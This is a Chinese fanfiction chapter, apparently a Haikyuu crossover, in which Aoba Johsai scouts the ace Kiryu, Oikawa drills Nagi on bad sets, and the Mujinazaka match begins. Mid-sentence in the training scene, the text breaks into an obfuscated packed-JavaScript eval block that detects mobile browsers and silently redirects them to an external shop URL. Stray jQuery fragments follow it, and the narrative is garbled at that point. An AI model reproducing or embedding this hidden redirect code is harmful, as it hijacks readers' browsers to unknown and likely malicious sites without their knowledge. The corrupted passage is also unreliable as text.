青叶城西赢下早流川工业之后，没有得到太久喘息。
全国赛的赛程就是这样。
你刚从一场比赛里走出来，汗还没完全干，掌心还残留着扣球后的麻意，下一座山就已经站在前面了。
狢坂高中。
桐生八。
全国三大王牌之一。
这几个字被及川彻念出来的时候，金田一勇太郎的表情明显僵了一下。
“全国三大王牌……”
他重复了一遍，声音不由自主地低了点。
花卷贵大拍了拍他的肩，语气轻松：
“别这么紧张，反正我们又不是没打过怪物主攻。”
松川一静慢悠悠补充：
“对，我们还赢过一个左手怪物。”
金田一：“……”
道理是这个道理。
但这两件事听起来完全不能让人放松。
牛岛若利是压在宫城所有队伍头上的高墙。
而桐生八，则是全国范围内被承认的王牌。
高墙之外，原来还有山。
凪诚士郎站在队伍边上，低头活动手指。
刚才最后几球打得比平时重，掌心还有一点热。不是受伤，只是身体在提醒他——那种不省力的打法确实会留下痕迹。
他抬头时，正好看见远处的桐生八。
狢坂高中刚结束上一场比赛，队员们正在收拾东西。桐生站在人群中，不是最吵的，也不是表情最凶的那个。
但他就是很显眼。
不是及川彻那种一举一动都像自带灯光的显眼。
也不是牛岛若利那种沉默压迫到别人不得不注意的显眼。
桐生八像一块沉重的铁。
不发光。
不锋利。
但只要落在那里，就会让地面发出闷响。
凪盯着看了一会儿，忽然说：
“他扣球是不是很吵？”
花卷一愣。
松川偏头看他。
及川彻眨了眨眼，随即笑出声。
“这是什么观察角度？”
凪认真道：“看起来声音会很大。”
岩泉一看向桐生，沉默两秒。
“应该会很重。”
凪点头。
果然。
他就知道。
及川彻把记录本合上，笑意淡了点。
“准确来说，不只是重。”
他抬眼看向狢坂离开的方向。
“桐生八最麻烦的地方，不是他能把好球打死。”
“而是坏球。”
凪回头：“坏球？”
“嗯。”及川彻抬起手，比了一个传球偏掉的角度，“传低了，偏了，被拦网逼到不好出手的位置，一传不到位，二传只能勉强调整——这种球，对普通攻手来说叫不好打。”
花卷接上：“对王牌来说叫责任。”
松川：“对桐生来说，可能叫照样得分。”
金田一听得更紧张了。
国见英坐在旁边喝水，淡淡道：
“听起来很累。”
凪看向他。
两个人短暂对视。
在这一刻，他们对桐生八产生了同一种敬意。
能把坏球都打好的人，体力和精神都很可怕。
不适合模仿。
至少不适合日常模仿。
及川彻像是看出了凪的想法，笑眯眯道：
“小凪，不要露出‘这个技能太累所以不想学’的表情。”
凪：“我没有。”
岩泉一：“你有。”
凪沉默。
原来自己的表情这么明显。
……
狢坂的比赛录像，是在休息区里看的。
入畑教练把小屏幕架起来，青城众人围坐一圈。视频里，狢坂正在和另一支学校交手。
一开始，凪没觉得有什么特别。
对手发球。
狢坂一传偏了。
二传跑得很狼狈，只能把球高高垫向左翼。那个球传得并不舒服，离网太远，弧线也偏外，正常来说，攻手能处理过去就已经不错。
桐生八助跑。
起跳。
扣球。
“砰！”
视频里的声音不如现场清楚，却还是能听见球砸地的闷响。
那一球硬是从两人拦网之间挤了过去，落在后场边线附近。
画面里的对手甚至慢了一拍才反应过来。
凪眨了一下眼。
及川彻按下暂停。
画面定格在桐生扣球的一瞬。
他的身体姿势并不轻松。
球不够高，身体被迫外拉，扣球角度其实很差。可他依旧把腰腹、肩膀和手腕全部拧到了一起，把一个看起来糟糕的球，变成了一记足够杀死回合的进攻。
及川彻说：
“看到了吗？”
凪点头。
“他很会拧。”
众人：“……”
花卷笑了一声。
“虽然说法很怪，但好像没错。”
岩泉一却没有笑。
他的目光还停在画面上，表情很认真。
“核心力量很强。”
松川点头：“而且出手点稳定。”
入畑教练看了凪一眼。
“桐生的特点，是处理能力极强。他不像牛岛那样依靠左手和高度制造绝对压迫，也不像一些速度型主攻依赖节奏变化。他可怕的地方在于——只要球还给到他附近，他就能想办法把它变成威胁。”
视频继续播放。
越看，金田一越沉默。
因为桐生打得太不像人了。
二传被迫从场外救回来的球，他能打。
一传被冲散，球被传得又高又远，他能打。
被三人拦网压住，他还能借手。
甚至有一次，球几乎已经偏到让人以为只能垫过去，他硬是在空中把身体扭出一个诡异角度，打出斜线得分。
花卷看完，低声道：
“这也太辛苦了吧。”
松川：“但很强。”
及川彻没有说话。
他看着屏幕，眼神冷静到近乎锋利。
凪忽然意识到，对二传来说，桐生八这种主攻可能会带来一种很复杂的感觉。
安心。
也沉重。
因为只要把球给他，他就会想办法处理。
可这也意味着，队伍在困难时，会本能地把更多东西压到他身上。
坏球。
乱球。
救命球。
所有“拜托了”的球。
凪看着屏幕里一次次起跳的桐生，忽然觉得那个“重”字更清楚了。
不是球重。
是他身上背的东西很重。
及川彻忽然开口：
“所以，下一场我们要做的不是完全拦死桐生。”
金田一抬头。
及川看着屏幕，语气平静。
“全国级王牌没那么容易被拦死。”
他说得很坦然。
没有夸大，也没有轻视。
“我们要做的是，让他每一球都打得更难受。”
岩泉一接道：“消耗他。”
花卷：“让坏球变得更坏？”
松川：“听起来很缺德。”
及川彻笑了。
“比赛嘛。”
凪听着，觉得很合理。
原来全国赛就是一群人认真研究怎么让别人不舒服。
早流川让他不舒服。
现在他们准备让桐生不舒服。
这很公平。
……
下午，青城去看了狢坂的现场训练。
不是正式比赛，只是赛前适应场地，但围观的人明显比早流川那场多。
全国三大王牌之一的名头，足够吸引很多视线。
桐生八站在左翼，接连扣了几颗球。
第一球，正常高球。
“砰！”
球落地的声音沉得让附近几个选手都回头。
凪站在看台边，低头看了看自己的手。
果然很吵。
第二球，二传故意传偏。
桐生助跑位置被迫调整，起跳时身体向外拉开，仍然把球扣进了场地。
第三球，传低了。
桐生没有强行打高点，而是缩短挥臂，压了一个极快的斜线。
第四球，球离网很远。
他直接打了后排空档。
花卷看得啧了一声。
“这人也太会加班了。”
松川：“王牌社畜。”
国见英低声道：“听起来更累了。”
金田一忍不住说：“你们能不能尊重一下全国级王牌？”
凪认真点头。
“很尊重。”
金田一看向他。
凪继续道：“所以不想变成那样。”
金田一：“……”
尊重的方向是不是有点不对。
及川彻站在最前面，没有参与他们的讨论。
他的视线一直跟着桐生的动作。
同样作为队伍核心，他大概比任何人都清楚那种重量。
只不过桐生背的是所有坏球。
及川背的是青城每一次进攻选择。
在宫城的时候，他一直被拿来和牛岛比较。
到了全国，又会有更多二传、更多王牌、更多强队被放到他面前。
可他没有移开视线。
反而看得很认真。
像是在确认：前面还有多少人，多少山，多少必须越过的东西。
凪站在他身后，看了一会儿，忽然问：
“及川前辈。”
“嗯？”
“你会传坏球吗？”
空气安静了一秒。
花卷和松川同时转头。
金田一脸色一变，像听见了什么不得了的话。
国见英默默喝水。
岩泉一看了凪一眼，没有出声。
及川彻却笑了。
不是被冒犯的笑。
也不是平时装出来的委屈。
他只是弯了弯眼睛。
“小凪，这个问题很伤二传的自尊哦。”
凪想了想：“那你会吗？”
及川彻看着他。
几秒后，他说：
“会。”
凪眨了一下眼。
及川彻把手插进口袋，语气轻松得像在说天气。
“人又不是机器。再好的二传也会传偏，会判断错，会被一传逼到很难的位置。”
他看向场内的桐生。
“只不过有些攻手，会让二传觉得自己传差了也没关系。”
“他会救回来。”
凪顺着他的视线看过去。
桐生又扣下一球。
砰。
很重。
及川继续道：
“但我不喜欢那种感觉。”
凪回头。
及川彻脸上的笑意很淡。
“把所有坏球都交给王牌处理，听起来很热血吧？可二传要是真的习惯了这种事，就太差劲了。”
“我想传让攻手最舒服的球。”
“如果做不到，也至少要传一颗他能打得最好的球。”
他说这话时，声音不高。
但凪忽然觉得，这句话比及川平时任何夸张的宣言都更像他。
不是天才。
不是强者。
不是被世界看见的及川彻。
而是二传手及川彻。
凪想了想，问：
“那如果我能打坏球呢？”
及川彻看向他。
花卷原本还在笑，听见这句也慢慢安静下来。
岩泉一的目光落到凪身上。
凪说得很平静。
没有热血，没有宣誓，也没有“交给我吧”的豪气。
只是像在提出一个新的可能性。
如果我能打坏球呢？
那是不是及川前辈可以多一个选择。
那是不是青城可以多一种活法。
那是不是下一场遇到桐生的时候，他们不用只仰头看那座山。
及川彻看着他。
过了一会儿，他笑了起来。
“小凪，你知道这句话意味着什么吗？”
凪：“不知道。”
“意味着从今天开始，你会被我传很难打的球。”
凪：“……”
他后悔了。
花卷和松川立刻笑出声。
国见英低声道：“说出口就来不及了。”
金田一震惊：“你们不要这么吓他啊！”
岩泉一却开口：
“试试也好。”
凪看向岩泉。
岩泉一语气很稳。
“你身体条件很好，空中调整能力也强。之前只是太习惯找舒服的位置。”
凪沉默。
这句话翻译一下，就是他以前太会偷懒。
及川彻笑眯眯地拍了拍他的肩。
“放心，小凪，前辈会温柔训练你的。”
凪看着他。
“不信。”
及川：“你现在真的越来越不可爱了。”
训练当晚，凪诚士郎第一次深刻理解了“坏球”两个字。
及川彻嘴上说温柔。
传出来的球却一个比一个像故意为难人。
第一球偏外。
凪勉强打过去。
第二球偏低。
凪差点挥空。
第三球离网远。
凪落地后沉默地看向及川。
及川彻笑得非常无辜。
“这是模拟实战。”
凪：“这是报复。”
“怎么会呢？”
花卷在旁边抱着球笑到不行。
松川一本正经地点评：
“训练内容：如何在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489787|202173||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
被二传迫害时生存。”
国见英坐在场边，语气平静：
“建议记录为全国特殊项目。”
金田一试图替及川辩解：“其实及川前辈也是为了比赛……”
结果下一秒，及川传给金田一的练习球也偏得非常离谱。
金田一：“……”
他收回。
确实像迫害。
但迫害归迫害，效果也确实有。
凪一开始很不适应。
他的天赋让他习惯快速看清最优路径，再用最省力的方法抵达那里。
可坏球没有最优路径。
至少没有那么明显。
球会偏，会低，会远，会别扭。
他必须在助跑中调整步点，在起跳时重新判断，在空中把身体拉到不舒服的位置，再想办法让手触到球。
这很消耗。
也很烦。
但到第十几球时，凪忽然感觉到了另一种东西。
不是舒服。
而是自由。
好球会给攻手一个清楚的答案。
坏球没有。
所以他反而可以自己决定，要把那个糟糕的球变成什么。
第十八球。
及川把球传得偏外。
凪助跑时，所有人都以为他会轻轻处理过去。
可他没有。
他在最后一步拉长助跑，身体向外打开，左手维持平衡，右手从几乎不舒服的位置强行挥下。
球擦过训练用拦网，砸进后场。
声音不如桐生那么重。
但很清楚。
体育馆里安静了一下。
花卷眨了眨眼。
“哦？”
松川笑了：“有点像了。”
岩泉一站在场边，点头。
“刚才那球不错。”
凪落地后，手臂有点酸。
他低头看了一眼。
这种打法果然不适合日常使用。
但是——好像能用。
及川彻拿着球站在另一边，眼睛亮起来。
“小凪。”
凪抬头。
及川笑着说：
“再来一球。”
凪看着他脸上的表情，忽然觉得自己似乎给前辈打开了什么危险开关。
他刚想拒绝，岩泉一已经把下一颗球丢给及川。
“继续。”
花卷吹了声口哨。
松川也笑着把球筐推近。
国见英低头看了一眼时间，默默往后坐了点，避免被波及。
金田一看着凪，眼神里居然有点佩服。
凪：“……”
这一刻，他忽然非常怀念昨天还只是被研究为技术流的自己。
至少那个版本的他不用加练坏球。
……
第二天上午，青城和狢坂的比赛场地附近，观众明显比第一场多。
全国级王牌对宫城新贵。
桐生八对青叶城西。
及川彻对狢坂防线。
还有那个在第一场被不少人记住的白发一年级。
这些关键词足够吸引人。
凪站在通道里，听见外面的声音一阵阵传来。
比早流川那场更满。
更热。
金田一深呼吸了好几次。
国见英看他：“你再吸下去，东京体育馆氧气会不够。”
金田一：“我只是调整状态！”
花卷笑着拍了拍他的背。
“别怕，反正最重的球也不是砸你。”
金田一：“这完全没有安慰到我！”
松川慢悠悠道：“至少很真实。”
及川彻站在最前面，低头整理护腕。
他今天的话比平时少。
不是紧张。
是专注。
岩泉一站在他旁边，两个人没有说话，却像已经完成了某种交流。
凪看着他们的背影，忽然觉得，青城的三年级好像一直都是这样。
吵的时候很吵。
但到了真正重要的时候，只要站在那里，就足够让人安心。
工作人员的声音从前方传来。
“青叶城西，请准备入场。”
及川彻抬起头。
“走吧。”
他们走出通道。
灯光落下。
观众席的声音涌来。
对面，狢坂高中已经站在场边。
桐生八抬起头，看向青城这边。
他的目光先落在及川身上，又扫过岩泉，最后停在凪身上。
凪也看着他。
昨天隔着半个场馆时，桐生像一座远处的山。
现在站到球网两侧，那座山终于到了眼前。
双方列队。
“多谢指教——”
声音落下。
第一球，狢坂发球。
球飞过网，带着很重的旋转冲向青城后排。
渡接起，但球偏了。
及川追过去，抬手调整。
并不是特别舒服的球。
岩泉开始助跑。
凪也动了。
但及川最后还是把球传给了岩泉。
岩泉起跳，重扣。
狢坂拦网碰到球。
球被垫起。
他们的二传迅速到位。
球飞向左翼。
桐生八开始助跑。
那一瞬间，场馆里的声音好像低了一点。
不是安静。
是所有人的注意力，都被那道身影压了下去。
青城双人拦网起跳。
岩泉和松川封住线路。
桐生在空中面对并不舒服的传球，身体却没有乱。
他的肩膀下沉，腰腹拧转，手臂像一柄沉重的锤子挥下。
“砰！”
球穿过拦网指尖，砸在青城后场。
渡扑了一下。
没碰到。
一比零。
狢坂先得分。
球落地后的声音还在场馆里回荡。
凪站在前排，看着那颗滚出去的球。
果然很吵。
也果然很重。
桐生八落地后，没有庆祝，只是沉默地转身回位。
像刚才那一球，只是他必须完成的一件普通工作。
凪慢慢活动了一下手指。
昨天训练留下的酸意还没完全消失。
但不知道为什么，他忽然不觉得烦了。
及川彻走过他身边，声音很轻。
“小凪。”
凪抬头。
及川没有看他，只看着球网对面。
“看清楚了吗？”
凪也看向桐生。
“嗯。”
及川彻笑了一下。
“那就开始吧。”
凪眨了一下眼。
全国的山，已经压到面前。
而青叶城西，必须从山脚往上打。